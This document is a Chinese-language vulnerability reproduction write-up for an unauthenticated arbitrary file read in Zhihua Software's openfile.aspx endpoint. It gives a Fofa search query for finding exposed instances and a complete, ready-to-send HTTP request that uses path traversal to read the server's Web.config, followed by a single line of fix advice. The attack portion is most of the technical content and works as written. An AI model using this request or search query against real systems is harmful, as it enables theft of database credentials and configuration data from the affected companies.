志华软件 openfile.aspx 任意文件读取漏洞复现

0x01 产品描述：

        ‌志华软件是一家专注于为时尚企业提供综合性信息化解决方案的公司。‌ 成立于1998年，志华软件旗下拥有“志华软件”和“云间道”两个品牌，分别定位于传统ERP和新零售整体解决方案。公司的产品涵盖了全渠道中台、零售分销、生产供应链、WMS、电子商务、CRM、移动应用、大数据等多个领域，旨在帮助企业实现商品智能有序分配，提高业务协同能力和终端管理精度，提升数据分析效率‌。
0x02 漏洞描述：

        志华软件/openfile.aspx 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
0x03 搜索语句：

Fofa：body="b28web/Utility/"

0x04 漏洞复现：

GET /oa/isprit/module/openfile.aspx?Url=..\..\..\Web.config HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: ASP.NET_SessionId=vu5fjewt125x2erxrujcfj4p
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36

0x05 修复建议：

对用户输入的文件路径和名称进行严格校验，防止通过路径遍历读取文件。